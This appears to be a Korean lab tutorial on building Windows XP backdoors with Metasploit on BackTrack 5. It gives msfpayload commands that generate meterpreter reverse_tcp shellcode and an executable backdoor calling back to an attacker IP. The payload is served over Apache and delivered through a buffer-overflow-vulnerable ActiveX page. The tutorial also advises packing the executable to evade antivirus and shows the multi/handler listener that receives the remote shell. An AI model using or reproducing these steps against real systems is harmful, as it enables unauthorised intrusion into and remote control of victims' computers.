테스트 환경 :
BackTrack5 R3 metasploit v4.5.0-dev
Windows XP SP3
1. shellcode용 윈도우 백도어 작성
명령 형식.
# msfpayload [module] [module-options] [option]
ex)
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2(공격자IP) LPORT=4444(공격자포트) J
옵션 J 는 "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b"와 같은 형식으로 쉘코드를 출력합니다.
옵션 J 는 "%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b"와 같은 형식으로 쉘코드를 출력합니다.
해당 쉘코드를 생성하면 쉘코드가 화면에 출력되는데 너무 많아 파일에 바로 넣어야 합니다.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 J > /var/www/shell.txt
이러면 /var/www/shell.txt에 쉘코드가 저장됩니다.
파일 확인
# ll /var/www/shell.txt
-rw-r--r-- 1 root root 2257671 2013--8-13 17:50 /var/www/shell.txt
# ll /var/www/shell.txt
-rw-r--r-- 1 root root 2257671 2013--8-13 17:50 /var/www/shell.txt
Shellcode가 두가지 생성되는데 첫번째 코드가 피해자가 공격자의 IP에 열린포트 4444로 접속을 하여 Session을 연결하는 코드입니다.
<Shellcode 예시>
shellcode를 http로 다운받기 위해 아파치 서버를 엽니다.
Applications -> BackTrack -> Services -> httpd -> apache start 버튼 클릭
웹 서비스를 시작하고 http://192.168.0.2/shell.txt를 입력하며 소스보기 저장합니다.
생성된 Shellcode가 피해자의 컴퓨터에서 실행될려면 BOF와 같은 취약점으로 Shellcode가 실행될 수 있는 조건이 필요합니다.
http://www.windowactivex.com/bbs/board.php?q=5225bc2c-a66e-4137-82ea-6938bd974d99-59-11-68-10-epagesafer-html-maonfp
또는 ActiveX
위의 URL에서 ActiveX를 다운받아 설치합니다.(윈도우 xp에서만 쉘코드 실행)
해당 ActiveX는 BOF 취약점이 존재하는 것으로써 취약점 보고서가 리포트되어 현재 서비스 되고 있지 않습니다.
HTML소스을 다운받습니다.
xp1.txt를 마우스로 가리키면 오른쪽에 아래방향 화살표가 생성되는데 클릭하시면 다운로드 가능합니다.
다운받은 xp1.txt에 새로 생성한 쉘코드로 수정하여 웹페이지를 게시하고
BackTrack에서 reverse_tcp 설정을 한 후(3번에 설명되어 있음)
ActiveX가 설치된 윈도우 xp에서 생성한 URL에 접속을 하면 쉘코드가 실행되면서 BackTrack에 접속이 됩니다.
2. 실행파일형 BackDoor 만들기
만약 테스트할 조건을 만족하지 못할경우 실행파일로 만들어 보겠습니다.
# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.2 LPORT=4444 x > /var/www/backdoor.exe

당연히 백신에서 Catch 해냅니다. 백신의 실시간 검사를 OFF하시거나 실행파일을 패킹하여 백신을 우회하여야 정상적으로 실행할 수 있습니다.
3. BackTrack에서 세션 접속.
조건이 만족한다는 가정하에 피해자는 공격자 호스트에 접속하기 위해 tcp 포트 4444를 열어주어야 합니다.
# msfconsole
msf> use exploit/multi/handler
msf> set LHOST 192.168.0.11
msf> set LPORT 4444
msf> show options
msf> exploit
BackTrack에서 포트 4444번으로 Listen을 합니다.
피해자의 컴퓨터에서 백도어 Shellcode가 실행되거나 실행파일이 실행되면 공격자호스트에 쉘이 연결됩니다.
피해자 컴퓨터에서 백도어 실행.
연결된 세션 확인.